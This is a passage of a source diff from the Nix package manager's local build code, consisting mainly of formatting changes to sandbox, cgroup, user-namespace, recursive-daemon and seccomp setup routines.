wantedOutputs, worker, buildMode); } void handleDiffHook( - uid_t uid, uid_t gid, - const Path & tryA, const Path & tryB, - const Path & drvPath, const Path & tmpDir) + uid_t uid, uid_t gid, const Path & tryA, const Path & tryB, const Path & drvPath, const Path & tmpDir) { auto & diffHookOpt = settings.diffHook.get(); if (diffHookOpt && settings.runDiffHook) { auto & diffHook = *diffHookOpt; try { - auto diffRes = runProgram(RunOptions { - .program = diffHook, - .lookupPath = true, - .args = {tryA, tryB, drvPath, tmpDir}, - .uid = uid, - .gid = gid, - .chdir = "/" - }); + auto diffRes = runProgram( + RunOptions{ + .program = diffHook, + .lookupPath = true, + .args = {tryA, tryB, drvPath, tmpDir}, + .uid = uid, + .gid = gid, + .chdir = "/"}); if (!statusOk(diffRes.first)) - throw ExecError(diffRes.first, - "diff-hook program '%1%' %2%", - diffHook, - statusToString(diffRes.first)); + throw ExecError(diffRes.first, "diff-hook program '%1%' %2%", diffHook, statusToString(diffRes.first)); if (diffRes.second != "") printError(chomp(diffRes.second)); @@ -405,17 +410,27 @@ void handleDiffHook( const Path LocalDerivationGoal::homeDir = "/homeless-shelter"; - LocalDerivationGoal::~LocalDerivationGoal() { /* Careful: we should never ever throw an exception from a destructor. */ - try { deleteTmpDir(false); } catch (...) { ignoreExceptionInDestructor(); } - try { killChild(); } catch (...) { ignoreExceptionInDestructor(); } - try { stopDaemon(); } catch (...) { ignoreExceptionInDestructor(); } + try { + deleteTmpDir(false); + } catch (...) { + ignoreExceptionInDestructor(); + } + try { + killChild(); + } catch (...) { + ignoreExceptionInDestructor(); + } + try { + stopDaemon(); + } catch (...) { + ignoreExceptionInDestructor(); + } } - inline bool LocalDerivationGoal::needsHashRewrite() { #ifdef __linux__ @@ -426,7 +441,6 @@ inline bool LocalDerivationGoal::needsHashRewrite() #endif } - LocalStore & LocalDerivationGoal::getLocalStore() { auto p = dynamic_cast(&worker.store); @@ -434,7 +448,6 @@ LocalStore & LocalDerivationGoal::getLocalStore() return *p; } - void LocalDerivationGoal::killChild() { if (pid != -1) { @@ -455,19 +468,18 @@ void LocalDerivationGoal::killChild() DerivationGoal::killChild(); } - void LocalDerivationGoal::killSandbox(bool getStats) { if (cgroup) { - #ifdef __linux__ +#ifdef __linux__ auto stats = destroyCgroup(*cgroup); if (getStats) { buildResult.cpuUser = stats.cpuUser; buildResult.cpuSystem = stats.cpuSystem; } - #else +#else unreachable(); - #endif +#endif } else if (buildUser) { @@ -477,7 +489,6 @@ void LocalDerivationGoal::killSandbox(bool getStats) } } - Goal::Co LocalDerivationGoal::tryLocalBuild() { assert(!hook); @@ -496,16 +507,19 @@ Goal::Co LocalDerivationGoal::tryLocalBuild() { if (settings.sandboxMode == smEnabled) { if (drvOptions->noChroot) - throw Error("derivation '%s' has '__noChroot' set, " - "but that's not allowed when 'sandbox' is 'true'", worker.store.printStorePath(drvPath)); + throw Error( + "derivation '%s' has '__noChroot' set, " + "but that's not allowed when 'sandbox' is 'true'", + worker.store.printStorePath(drvPath)); #ifdef __APPLE__ if (drvOptions->additionalSandboxProfile != "") - throw Error("derivation '%s' specifies a sandbox profile, " - "but this is only allowed when 'sandbox' is 'relaxed'", worker.store.printStorePath(drvPath)); + throw Error( + "derivation '%s' specifies a sandbox profile, " + "but this is only allowed when 'sandbox' is 'relaxed'", + worker.store.printStorePath(drvPath)); #endif useChroot = true; - } - else if (settings.sandboxMode == smDisabled) + } else if (settings.sandboxMode == smDisabled) useChroot = false; else if (settings.sandboxMode == smRelaxed) useChroot = derivationType->isSandboxed() && !drvOptions->noChroot; @@ -513,23 +527,24 @@ Goal::Co LocalDerivationGoal::tryLocalBuild() auto & localStore = getLocalStore(); if (localStore.storeDir != localStore.realStoreDir.get()) { - #ifdef __linux__ - useChroot = true; - #else - throw Error("building using a diverted store is not supported on this platform"); - #endif +#ifdef __linux__ + useChroot = true; +#else + throw Error("building using a diverted store is not supported on this platform"); +#endif } - #ifdef __linux__ +#ifdef __linux__ if (useChroot) { if (!mountAndPidNamespacesSupported()) { if (!settings.sandboxFallback) - throw Error("this system does not support the kernel namespaces that are required for sandboxing; use '--no-sandbox' to disable sandboxing"); + throw Error( + "this system does not support the kernel namespaces that are required for sandboxing; use '--no-sandbox' to disable sandboxing"); debug("auto-disabling sandboxing because the prerequisite namespaces are not available"); useChroot = false; } } - #endif +#endif if (useBuildUsers()) { if (!buildUser) @@ -537,7 +552,10 @@ Goal::Co LocalDerivationGoal::tryLocalBuild() if (!buildUser) { if (!actLock) - actLock = std::make_unique(*logger, lvlWarn, actBuildWaiting, + actLock = std::make_unique( + *logger, + lvlWarn, + actBuildWaiting, fmt("waiting for a free build user ID for '%s'", Magenta(worker.store.printStorePath(drvPath)))); co_await waitForAWhile(); co_return tryLocalBuild(); @@ -563,7 +581,7 @@ Goal::Co LocalDerivationGoal::tryLocalBuild() trace("build done"); - Finally releaseBuildUser([&](){ + Finally releaseBuildUser([&]() { /* Release the build user at the end of this function. We don't do it right away because we don't want another build grabbing this uid and then messing around with our output. */ @@ -604,7 +622,8 @@ Goal::Co LocalDerivationGoal::tryLocalBuild() stopDaemon(); if (buildResult.cpuUser && buildResult.cpuSystem) { - debug("builder for '%s' terminated with status %d, user CPU %.3fs, system CPU %.3fs", + debug( + "builder for '%s' terminated with status %d, user CPU %.3fs, system CPU %.3fs", worker.store.printStorePath(drvPath), status, ((double) buildResult.cpuUser->count()) / 1000000, @@ -620,9 +639,8 @@ Goal::Co LocalDerivationGoal::tryLocalBuild() diskFull |= cleanupDecideWhetherDiskFull(); - auto msg = fmt("builder for '%s' %s", - Magenta(worker.store.printStorePath(drvPath)), - statusToString(status)); + auto msg = + fmt("builder for '%s' %s", Magenta(worker.store.printStorePath(drvPath)), statusToString(status)); appendLogTailErrorMsg(worker.store, drvPath, logTail, msg); @@ -639,12 +657,7 @@ Goal::Co LocalDerivationGoal::tryLocalBuild() StorePathSet outputPaths; for (auto & [_, output] : builtOutputs) outputPaths.insert(output.outPath); - runPostBuildHook( - worker.store, - *logger, - drvPath, - outputPaths - ); + runPostBuildHook(worker.store, *logger, drvPath, outputPaths); /* Delete unused redirected outputs (when doing hash rewriting). */ for (auto & i : redirectedOutputs) @@ -668,11 +681,10 @@ Goal::Co LocalDerivationGoal::tryLocalBuild() outputLocks.unlock(); assert(derivationType); - BuildResult::Status st = - dynamic_cast(&e) ? BuildResult::NotDeterministic : - statusOk(status) ? BuildResult::OutputRejected : - !derivationType->isSandboxed() || diskFull ? BuildResult::TransientFailure : - BuildResult::PermanentFailure; + BuildResult::Status st = dynamic_cast(&e) ? BuildResult::NotDeterministic + : statusOk(status) ? BuildResult::OutputRejected + : !derivationType->isSandboxed() || diskFull ? BuildResult::TransientFailure + : BuildResult::PermanentFailure; co_return done(st, {}, std::move(e)); } @@ -684,7 +696,6 @@ static void chmod_(const Path & path, mode_t mode) throw SysError("setting permissions on '%s'", path); } - /* Move/rename path 'src' to 'dst'. Temporarily make 'src' writable if it's a directory and we're not root (to be able to update the directory's parent link ".."). */ @@ -703,10 +714,8 @@ static void movePath(const Path & src, const Path & dst) chmod_(dst, st.st_mode); } - extern void replaceValidPath(const Path & storePath, const Path & tmpPath); - bool LocalDerivationGoal::cleanupDecideWhetherDiskFull() { bool diskFull = false; @@ -721,11 +730,9 @@ bool LocalDerivationGoal::cleanupDecideWhetherDiskFull() auto & localStore = getLocalStore(); uint64_t required = 8ULL * 1024 * 1024; // FIXME: make configurable struct statvfs st; - if (statvfs(localStore.realStoreDir.get().c_str(), &st) == 0 && - (uint64_t) st.f_bavail * st.f_bsize < required) + if (statvfs(localStore.realStoreDir.get().c_str(), &st) == 0 && (uint64_t) st.f_bavail * st.f_bsize < required) diskFull = true; - if (statvfs(tmpDir.c_str(), &st) == 0 && - (uint64_t) st.f_bavail * st.f_bsize < required) + if (statvfs(tmpDir.c_str(), &st) == 0 && (uint64_t) st.f_bavail * st.f_bsize < required) diskFull = true; } #endif @@ -736,8 +743,10 @@ bool LocalDerivationGoal::cleanupDecideWhetherDiskFull() build failures. */ if (useChroot && buildMode == bmNormal) for (auto & [_, status] : initialOutputs) { - if (!status.known) continue; - if (buildMode != bmCheck && status.known->isValid()) continue; + if (!status.known) + continue; + if (buildMode != bmCheck && status.known->isValid()) + continue; auto p = worker.store.toRealPath(status.known->path); if (pathExists(chrootRootDir + p)) std::filesystem::rename((chrootRootDir + p), p); @@ -746,9 +755,9 @@ bool LocalDerivationGoal::cleanupDecideWhetherDiskFull() return diskFull; } - #ifdef __linux__ -static void doBind(const Path & source, const Path & target, bool optional = false) { +static void doBind(const Path & source, const Path & target, bool optional = false) +{ debug("bind mounting '%1%' to '%2%'", source, target); auto bindMount = [&]() { @@ -771,9 +780,7 @@ static void doBind(const Path & source, const Path & target, bool optional = fal } else if (S_ISLNK(st.st_mode)) { // Symlinks can (apparently) not be bind-mounted, so just copy it createDirs(dirOf(target)); - copyFile( - std::filesystem::path(source), - std::filesystem::path(target), false); + copyFile(std::filesystem::path(source), std::filesystem::path(target), false); } else { createDirs(dirOf(target)); writeFile(target, ""); @@ -820,12 +827,11 @@ static void handleChildException(bool sendException) void LocalDerivationGoal::startBuilder() { if ((buildUser && buildUser->getUIDCount() != 1) - #ifdef __linux__ +#ifdef __linux__ || settings.useCgroups - #endif - ) - { - #ifdef __linux__ +#endif + ) { +#ifdef __linux__ experimentalFeatureSettings.require(Xp::Cgroups); /* If we're running from the daemon, then this will return the @@ -841,9 +847,8 @@ void LocalDerivationGoal::startBuilder() static std::atomic counter{0}; - cgroup = buildUser - ? fmt("%s/nix-build-uid-%d", rootCgroupPath, buildUser->getUID()) - : fmt("%s/nix-build-pid-%d-%d", rootCgroupPath, getpid(), counter++); + cgroup = buildUser ? fmt("%s/nix-build-uid-%d", rootCgroupPath, buildUser->getUID()) + : fmt("%s/nix-build-pid-%d-%d", rootCgroupPath, getpid(), counter++); debug("using cgroup '%s'", *cgroup); @@ -864,9 +869,9 @@ void LocalDerivationGoal::startBuilder() writeFile(cgroupFile, *cgroup); } - #else +#else throw Error("cgroups are not supported on this platform"); - #endif +#endif } /* Make sure that no other processes are executing under the @@ -876,11 +881,16 @@ void LocalDerivationGoal::startBuilder() /* Right platform? */ if (!drvOptions->canBuildLocally(worker.store, *drv)) { - // since aarch64-darwin has Rosetta 2, this user can actually run x86_64-darwin on their hardware - we should tell them to run the command to install Darwin 2 + // since aarch64-darwin has Rosetta 2, this user can actually run x86_64-darwin on their hardware - we should + // tell them to run the command to install Darwin 2 if (drv->platform == "x86_64-darwin" && settings.thisSystem == "aarch64-darwin") { - throw Error("run `/usr/sbin/softwareupdate --install-rosetta` to enable your %s to run programs for %s", settings.thisSystem, drv->platform); + throw Error( + "run `/usr/sbin/softwareupdate --install-rosetta` to enable your %s to run programs for %s", + settings.thisSystem, + drv->platform); } else { - throw Error("a '%s' with features {%s} is required to build '%s', but I am a '%s' with features {%s}", + throw Error( + "a '%s' with features {%s} is required to build '%s', but I am a '%s' with features {%s}", drv->platform, concatStringsSep(", ", drvOptions->getRequiredSystemFeatures(*drv)), worker.store.printStorePath(drvPath), @@ -891,7 +901,8 @@ void LocalDerivationGoal::startBuilder() /* Create a temporary directory where the build will take place. */ - topTmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700); + topTmpDir = createTempDir( + settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700); #ifdef __APPLE__ if (false) { #else @@ -923,22 +934,20 @@ void LocalDerivationGoal::startBuilder() corresponding to the valid outputs, and rewrite the contents of the new outputs to replace the dummy strings with the actual hashes. */ - auto scratchPath = - !status.known - ? makeFallbackPath(outputName) - : !needsHashRewrite() - /* Can always use original path in sandbox */ - ? status.known->path - : !status.known->isPresent() - /* If path doesn't yet exist can just use it */ - ? status.known->path - : buildMode != bmRepair && !status.known->isValid() - /* If we aren't repairing we'll delete a corrupted path, so we - can use original path */ - ? status.known->path - : /* If we are repairing or the path is totally valid, we'll need - to use a temporary path */ - makeFallbackPath(status.known->path); + auto scratchPath = !status.known ? makeFallbackPath(outputName) + : !needsHashRewrite() + /* Can always use original path in sandbox */ + ? status.known->path + : !status.known->isPresent() + /* If path doesn't yet exist can just use it */ + ? status.known->path + : buildMode != bmRepair && !status.known->isValid() + /* If we aren't repairing we'll delete a corrupted path, so we + can use original path */ + ? status.known->path + : /* If we are repairing or the path is totally valid, we'll need + to use a temporary path */ + makeFallbackPath(status.known->path); scratchOutputs.insert_or_assign(outputName, scratchPath); /* Substitute output placeholders with the scratch output paths. @@ -946,20 +955,22 @@ void LocalDerivationGoal::startBuilder() inputRewrites[hashPlaceholder(outputName)] = worker.store.printStorePath(scratchPath); /* Additional tasks if we know the final path a priori. */ - if (!status.known) continue; + if (!status.known) + continue; auto fixedFinalPath = status.known->path; /* Additional tasks if the final and scratch are both known and differ. */ - if (fixedFinalPath == scratchPath) continue; + if (fixedFinalPath == scratchPath) + continue; /* Ensure scratch path is ours to use. */ deletePath(worker.store.printStorePath(scratchPath)); /* Rewrite and unrewrite paths */ { - std::string h1 { fixedFinalPath.hashPart() }; - std::string h2 { scratchPath.hashPart() }; + std::string h1{fixedFinalPath.hashPart()}; + std::string h2{scratchPath.hashPart()}; inputRewrites[h1] = h2; } @@ -984,7 +995,7 @@ void LocalDerivationGoal::startBuilder() Strings ss = tokenizeString(s); if (ss.size() % 2 != 0) throw BuildError("odd number of tokens in 'exportReferencesGraph': '%1%'", s); - for (Strings::iterator i = ss.begin(); i != ss.end(); ) { + for (Strings::iterator i = ss.begin(); i != ss.end();) { auto fileName = *i++; static std::regex regex("[A-Za-z_][A-Za-z0-9_.-]*"); if (!std::regex_match(fileName, regex)) @@ -996,7 +1007,8 @@ void LocalDerivationGoal::startBuilder() auto storePath = worker.store.toStorePath(storePathS).first; /* Write closure info to . */ - writeFile(tmpDir + "/" + fileName, + writeFile( + tmpDir + "/" + fileName, worker.store.makeValidityRegistration( worker.store.exportReferences({storePath}, inputPaths), false, false)); } @@ -1009,7 +1021,8 @@ void LocalDerivationGoal::startBuilder() pathsInChroot.clear(); for (auto i : settings.sandboxPaths.get()) { - if (i.empty()) continue; + if (i.empty()) + continue; bool optional = false; if (i[i.size() - 1] == '?') { optional = true; @@ -1021,8 +1034,7 @@ void LocalDerivationGoal::startBuilder() else pathsInChroot[i.substr(0, p)] = {i.substr(p + 1), optional}; } - if (hasPrefix(worker.store.storeDir, tmpDirInSandbox)) - { + if (hasPrefix(worker.store.storeDir, tmpDirInSandbox)) { throw Error("`sandbox-build-dir` must not contain the storeDir"); } pathsInChroot[tmpDirInSandbox] = tmpDir; @@ -1054,7 +1066,8 @@ void LocalDerivationGoal::startBuilder() giving a non-root user info about inaccessible files. */ Path canonI = canonPath(i); - /* If only we had a trie to do this more efficiently :) luckily, these are generally going to be pretty small */ + /* If only we had a trie to do this more efficiently :) luckily, these are generally going to be pretty + * small */ for (auto & a : allowedPaths) { Path canonA = canonPath(a); if (isDirOrInDir(canonI, canonA)) { @@ -1063,8 +1076,10 @@ void LocalDerivationGoal::startBuilder() } } if (!found) - throw Error("derivation '%s' requested impure path '%s', but it was not in allowed-impure-host-deps", - worker.store.printStorePath(drvPath), i); + throw Error( + "derivation '%s' requested impure path '%s', but it was not in allowed-impure-host-deps", + worker.store.printStorePath(drvPath), + i); /* Allow files in drvOptions->impureHostDeps to be missing; e.g. macOS 11+ has no /usr/lib/libSystem*.dylib */ @@ -1092,7 +1107,10 @@ void LocalDerivationGoal::startBuilder() if (mkdir(chrootRootDir.c_str(), buildUser && buildUser->getUIDCount() != 1 ? 0755 : 0750) == -1) throw SysError("cannot create '%1%'", chrootRootDir); - if (buildUser && chown(chrootRootDir.c_str(), buildUser->getUIDCount() != 1 ? buildUser->getUID() : 0, buildUser->getGID()) == -1) + if (buildUser + && chown( + chrootRootDir.c_str(), buildUser->getUIDCount() != 1 ? buildUser->getUID() : 0, buildUser->getGID()) + == -1) throw SysError("cannot change ownership of '%1%'", chrootRootDir); /* Create a writable /tmp in the chroot. Many builders need @@ -1114,10 +1132,12 @@ void LocalDerivationGoal::startBuilder() /* Declare the build user's group so that programs get a consistent view of the system (e.g., "id -gn"). */ - writeFile(chrootRootDir + "/etc/group", + writeFile( + chrootRootDir + "/etc/group", fmt("root:x:0:\n" "nixbld:!:%1%:\n" - "nogroup:x:65534:\n", sandboxGid())); + "nogroup:x:65534:\n", + sandboxGid())); /* Create /etc/hosts with localhost entry. */ if (derivationType->isSandboxed()) @@ -1164,18 +1184,18 @@ void LocalDerivationGoal::startBuilder() chownToBuilder(*cgroup); chownToBuilder(*cgroup + "/cgroup.procs"); chownToBuilder(*cgroup + "/cgroup.threads"); - //chownToBuilder(*cgroup + "/cgroup.subtree_control"); + // chownToBuilder(*cgroup + "/cgroup.subtree_control"); } #else if (drvOptions->useUidRange(*drv)) throw Error("feature 'uid-range' is not supported on this platform"); - #ifdef __APPLE__ - /* We don't really have any parent prep work to do (yet?) - All work happens in the child, instead. */ - #else - throw Error("sandboxing builds is not supported on this platform"); - #endif +# ifdef __APPLE__ + /* We don't really have any parent prep work to do (yet?) + All work happens in the child, instead. */ +# else + throw Error("sandboxing builds is not supported on this platform"); +# endif #endif } else { if (drvOptions->useUidRange(*drv)) @@ -1183,22 +1203,18 @@ void LocalDerivationGoal::startBuilder() } if (needsHashRewrite() && pathExists(homeDir)) - throw Error("home directory '%1%' exists; please remove it to assure purity of builds without sandboxing", homeDir); + throw Error( + "home directory '%1%' exists; please remove it to assure purity of builds without sandboxing", homeDir); if (useChroot && settings.preBuildHook != "" && dynamic_cast(drv.get())) { printMsg(lvlChatty, "executing pre-build hook '%1%'", settings.preBuildHook); - auto args = useChroot ? Strings({worker.store.printStorePath(drvPath), chrootRootDir}) : - Strings({ worker.store.printStorePath(drvPath) }); - enum BuildHookState { - stBegin, - stExtraChrootDirs - }; + auto args = useChroot ? Strings({worker.store.printStorePath(drvPath), chrootRootDir}) + : Strings({worker.store.printStorePath(drvPath)}); + enum BuildHookState { stBegin, stExtraChrootDirs }; auto state = stBegin; auto lines = runProgram(settings.preBuildHook, false, args); auto lastPos = std::string::size_type{0}; - for (auto nlPos = lines.find('\n'); nlPos != std::string::npos; - nlPos = lines.find('\n', lastPos)) - { + for (auto nlPos = lines.find('\n'); nlPos != std::string::npos; nlPos = lines.find('\n', lastPos)) { auto line = lines.substr(lastPos, nlPos - lastPos); lastPos = nlPos + 1; if (state == stBegin) { @@ -1261,8 +1277,7 @@ void LocalDerivationGoal::startBuilder() throw SysError("unlocking pseudoterminal"); /* Open the slave side of the pseudoterminal and use it as stderr. */ - auto openSlave = [&]() - { + auto openSlave = [&]() { AutoCloseFD builderOut = open(slaveName.c_str(), O_RDWR | O_NOCTTY); if (!builderOut) throw SysError("opening pseudoterminal slave"); @@ -1343,7 +1358,8 @@ void LocalDerivationGoal::startBuilder() if (errno != EPERM) throw SysError("setgroups failed"); if (settings.requireDropSupplementaryGroups) - throw Error("setgroups failed. Set the require-drop-supplementary-groups option to false to skip this step."); + throw Error( + "setgroups failed. Set the require-drop-supplementary-groups option to false to skip this step."); } ProcessOptions options; @@ -1375,9 +1391,7 @@ void LocalDerivationGoal::startBuilder() /* Close the write side to prevent runChild() from hanging reading from this. */ - Finally cleanup([&]() { - userNamespaceSync.writeSide = -1; - }); + Finally cleanup([&]() { userNamespaceSync.writeSide = -1; }); auto ss = tokenizeString>(readLine(sendPid.readSide.get())); assert(ss.size() == 1); @@ -1391,30 +1405,32 @@ void LocalDerivationGoal::startBuilder() uid_t hostGid = buildUser ? buildUser->getGID() : getgid(); uid_t nrIds = buildUser ? buildUser->getUIDCount() : 1; - writeFile("/proc/" + std::to_string(pid) + "/uid_map", - fmt("%d %d %d", sandboxUid(), hostUid, nrIds)); + writeFile("/proc/" + std::to_string(pid) + "/uid_map", fmt("%d %d %d", sandboxUid(), hostUid, nrIds)); if (!buildUser || buildUser->getUIDCount() == 1) writeFile("/proc/" + std::to_string(pid) + "/setgroups", "deny"); - writeFile("/proc/" + std::to_string(pid) + "/gid_map", - fmt("%d %d %d", sandboxGid(), hostGid, nrIds)); + writeFile("/proc/" + std::to_string(pid) + "/gid_map", fmt("%d %d %d", sandboxGid(), hostGid, nrIds)); } else { debug("note: not using a user namespace"); if (!buildUser) - throw Error("cannot perform a sandboxed build because user namespaces are not enabled; check /proc/sys/user/max_user_namespaces"); + throw Error( + "cannot perform a sandboxed build because user namespaces are not enabled; check /proc/sys/user/max_user_namespaces"); } /* Now that we now the sandbox uid, we can write /etc/passwd. */ - writeFile(chrootRootDir + "/etc/passwd", fmt( - "root:x:0:0:Nix build user:%3%:/noshell\n" + writeFile( + chrootRootDir + "/etc/passwd", + fmt("root:x:0:0:Nix build user:%3%:/noshell\n" "nixbld:x:%1%:%2%:Nix build user:%3%:/noshell\n" "nobody:x:65534:65534:Nobody:/:/noshell\n", - sandboxUid(), sandboxGid(), settings.sandboxBuildDir)); + sandboxUid(), + sandboxGid(), + settings.sandboxBuildDir)); /* Save the mount- and user namespace of the child. We have to do this - *before* the child does a chroot. */ + *before* the child does a chroot. */ sandboxMountNamespace = open(fmt("/proc/%d/ns/mnt", (pid_t) pid).c_str(), O_RDONLY); if (sandboxMountNamespace.get() == -1) throw SysError("getting sandbox mount namespace"); @@ -1448,7 +1464,6 @@ void LocalDerivationGoal::startBuilder() processSandboxSetupMessages(); } - void LocalDerivationGoal::processSandboxSetupMessages() { std::vector msgs; @@ -1458,14 +1473,17 @@ void LocalDerivationGoal::processSandboxSetupMessages() return readLine(builderOut.get()); } catch (Error & e) { auto status = pid.wait(); - e.addTrace({}, "while waiting for the build environment for '%s' to initialize (%s, previous messages: %s)", + e.addTrace( + {}, + "while waiting for the build environment for '%s' to initialize (%s, previous messages: %s)", worker.store.printStorePath(drvPath), statusToString(status), concatStringsSep("|", msgs)); throw; } }(); - if (msg.substr(0, 1) == "\2") break; + if (msg.substr(0, 1) == "\2") + break; if (msg.substr(0, 1) == "\1") { FdSource source(builderOut.get()); auto ex = readError(source); @@ -1477,7 +1495,6 @@ void LocalDerivationGoal::processSandboxSetupMessages() } } - void LocalDerivationGoal::initTmpDir() { /* In a sandbox, for determinism, always use the same temporary @@ -1504,7 +1521,6 @@ void LocalDerivationGoal::initTmpDir() env[i.first + "Path"] = tmpDirInSandbox + "/" + fn; } } - } /* For convenience, set an environment pointing to the top build @@ -1521,7 +1537,6 @@ void LocalDerivationGoal::initTmpDir() env["PWD"] = tmpDirInSandbox; } - void LocalDerivationGoal::initEnv() { env.clear(); @@ -1554,7 +1569,8 @@ void LocalDerivationGoal::initEnv() derivation, tell the builder, so that for instance `fetchurl' can skip checking the output. On older Nixes, this environment variable won't be set, so `fetchurl' will do the check. */ - if (derivationType->isFixed()) env["NIX_OUTPUT_CHECKED"] = "1"; + if (derivationType->isFixed()) + env["NIX_OUTPUT_CHECKED"] = "1"; /* *Only* if this is a fixed-output derivation, propagate the values of the environment variables specified in the @@ -1570,7 +1586,7 @@ void LocalDerivationGoal::initEnv() if (!impureEnv.empty()) experimentalFeatureSettings.require(Xp::ConfigurableImpureEnv); - for (auto & i : drvOptions->impureEnvVars){ + for (auto & i : drvOptions->impureEnvVars) { auto envVar = impureEnv.find(i); if (envVar != impureEnv.end()) { env[i] = envVar->second; @@ -1589,7 +1605,6 @@ void LocalDerivationGoal::initEnv() env["TERM"] = "xterm-256color"; } - void LocalDerivationGoal::writeStructuredAttrs() { if (auto structAttrsJson = parsedDrv->prepareStructuredAttrs(worker.store, inputPaths)) { @@ -1614,7 +1629,6 @@ void LocalDerivationGoal::writeStructuredAttrs() } } - void LocalDerivationGoal::startDaemon() { experimentalFeatureSettings.require(Xp::RecursiveNix); @@ -1626,9 +1640,8 @@ void LocalDerivationGoal::startDaemon() params["root"] = *optRoot; params["state"] = "/no-such-path"; params["log"] = "/no-such-path"; - auto store = makeRestrictedStore(params, - ref(std::dynamic_pointer_cast(worker.store.shared_from_this())), - *this); + auto store = makeRestrictedStore( + params, ref(std::dynamic_pointer_cast(worker.store.shared_from_this())), *this); addedPaths.clear(); @@ -1641,18 +1654,18 @@ void LocalDerivationGoal::startDaemon() chownToBuilder(socketPath); daemonThread = std::thread([this, store]() { - while (true) { /* Accept a connection. */ struct sockaddr_un remoteAddr; socklen_t remoteAddrLen = sizeof(remoteAddr); - AutoCloseFD remote = accept(daemonSocket.get(), - (struct sockaddr *) &remoteAddr, &remoteAddrLen); + AutoCloseFD remote = accept(daemonSocket.get(), (struct sockaddr *) &remoteAddr, &remoteAddrLen); if (!remote) { - if (errno == EINTR || errno == EAGAIN) continue; - if (errno == EINVAL || errno == ECONNABORTED) break; + if (errno == EINTR || errno == EAGAIN) + continue; + if (errno == EINVAL || errno == ECONNABORTED) + break; throw SysError("accepting connection"); } @@ -1663,10 +1676,7 @@ void LocalDerivationGoal::startDaemon() auto workerThread = std::thread([store, remote{std::move(remote)}]() { try { daemon::processConnection( - store, - FdSource(remote.get()), - FdSink(remote.get()), - NotTrusted, daemon::Recursive); + store, FdSource(remote.get()), FdSink(remote.get()), NotTrusted, daemon::Recursive); debug("terminated daemon connection"); } catch (const Interrupted &) { debug("interrupted daemon connection"); @@ -1682,7 +1692,6 @@ void LocalDerivationGoal::startDaemon() }); } - void LocalDerivationGoal::stopDaemon() { if (daemonSocket && shutdown(daemonSocket.get(), SHUT_RDWR) == -1) { @@ -1715,10 +1724,10 @@ void LocalDerivationGoal::stopDaemon() daemonSocket.close(); } - void LocalDerivationGoal::addDependency(const StorePath & path) { - if (isAllowed(path)) return; + if (isAllowed(path)) + return; addedPaths.insert(path); @@ -1728,126 +1737,138 @@ void LocalDerivationGoal::addDependency(const StorePath & path) debug("materialising '%s' in the sandbox", worker.store.printStorePath(path)); - #ifdef __linux__ +#ifdef __linux__ - Path source = worker.store.Store::toRealPath(path); - Path target = chrootRootDir + worker.store.printStorePath(path); + Path source = worker.store.Store::toRealPath(path); + Path target = chrootRootDir + worker.store.printStorePath(path); - if (pathExists(target)) { - // There is a similar debug message in doBind, so only run it in this block to not have double messages. - debug("bind-mounting %s -> %s", target, source); - throw Error("store path '%s' already exists in the sandbox", worker.store.printStorePath(path)); - } + if (pathExists(target)) { + // There is a similar debug message in doBind, so only run it in this block to not have double messages. + debug("bind-mounting %s -> %s", target, source); + throw Error("store path '%s' already exists in the sandbox", worker.store.printStorePath(path)); + } - /* Bind-mount the path into the sandbox. This requires - entering its mount namespace, which is not possible - in multithreaded programs. So we do this in a - child process.*/ - Pid child(startProcess([&]() { + /* Bind-mount the path into the sandbox. This requires + entering its mount namespace, which is not possible + in multithreaded programs. So we do this in a + child process.*/ + Pid child(startProcess([&]() { + if (usingUserNamespace && (setns(sandboxUserNamespace.get(), 0) == -1)) + throw SysError("entering sandbox user namespace"); - if (usingUserNamespace && (setns(sandboxUserNamespace.get(), 0) == -1)) - throw SysError("entering sandbox user namespace"); + if (setns(sandboxMountNamespace.get(), 0) == -1) + throw SysError("entering sandbox mount namespace"); - if (setns(sandboxMountNamespace.get(), 0) == -1) - throw SysError("entering sandbox mount namespace"); + doBind(source, target); - doBind(source, target); + _exit(0); + })); - _exit(0); - })); - - int status = child.wait(); - if (status != 0) - throw Error("could not add path '%s' to sandbox", worker.store.printStorePath(path)); - - #else - throw Error("don't know how to make path '%s' (produced by a recursive Nix call) appear in the sandbox", - worker.store.printStorePath(path)); - #endif + int status = child.wait(); + if (status != 0) + throw Error("could not add path '%s' to sandbox", worker.store.printStorePath(path)); +#else + throw Error( + "don't know how to make path '%s' (produced by a recursive Nix call) appear in the sandbox", + worker.store.printStorePath(path)); +#endif } } void LocalDerivationGoal::chownToBuilder(const Path & path) { - if (!buildUser) return; + if (!buildUser) + return; if (chown(path.c_str(), buildUser->getUID(), buildUser->getGID()) == -1) throw SysError("cannot change ownership of '%1%'", path); } - void setupSeccomp() { #ifdef __linux__ - if (!settings.filterSyscalls) return; -#if HAVE_SECCOMP + if (!settings.filterSyscalls) + return; +# if HAVE_SECCOMP scmp_filter_ctx ctx; if (!(ctx = seccomp_init(SCMP_ACT_ALLOW))) throw SysError("unable to initialize seccomp mode 2"); - Finally cleanup([&]() { - seccomp_release(ctx); - }); + Finally cleanup([&]() { seccomp_release(ctx); }); constexpr std::string_view nativeSystem = NIX_LOCAL_SYSTEM; - if (nativeSystem == "x86_64-linux" && - seccomp_arch_add(ctx, SCMP_ARCH_X86) != 0) + if (nativeSystem == "x86_64-linux" && seccomp_arch_add(ctx, SCMP_ARCH_X86) != 0) throw SysError("unable to add 32-bit seccomp architecture"); - if (nativeSystem == "x86_64-linux" && - seccomp_arch_add(ctx, SCMP_ARCH_X32) != 0) + if (nativeSystem == "x86_64-linux" && seccomp_arch_add(ctx, SCMP_ARCH_X32) != 0) throw SysError("unable to add X32 seccomp architecture"); - if (nativeSystem == "aarch64-linux" && - seccomp_arch_add(ctx, SCMP_ARCH_ARM) != 0) - printError("unable to add ARM seccomp architecture; this may result in spurious build failures if running 32-bit ARM processes"); + if (nativeSystem == "aarch64-linux" && seccomp_arch_add(ctx, SCMP_ARCH_ARM) != 0) + printError( + "unable to add ARM seccomp architecture; this may result in spurious build failures if running 32-bit ARM processes"); - if (nativeSystem == "mips64-linux" && - seccomp_arch_add(ctx, SCMP_ARCH_MIPS) != 0) + if (nativeSystem == "mips64-linux" && seccomp_arch_add(ctx, SCMP_ARCH_MIPS) != 0) printError("unable to add mips seccomp architecture"); - if (nativeSystem == "mips64-linux" && - seccomp_arch_add(ctx, SCMP_ARCH_MIPS64N32) != 0) + if (nativeSystem == "mips64-linux" && seccomp_arch_add(ctx, SCMP_ARCH_MIPS64N32) != 0) 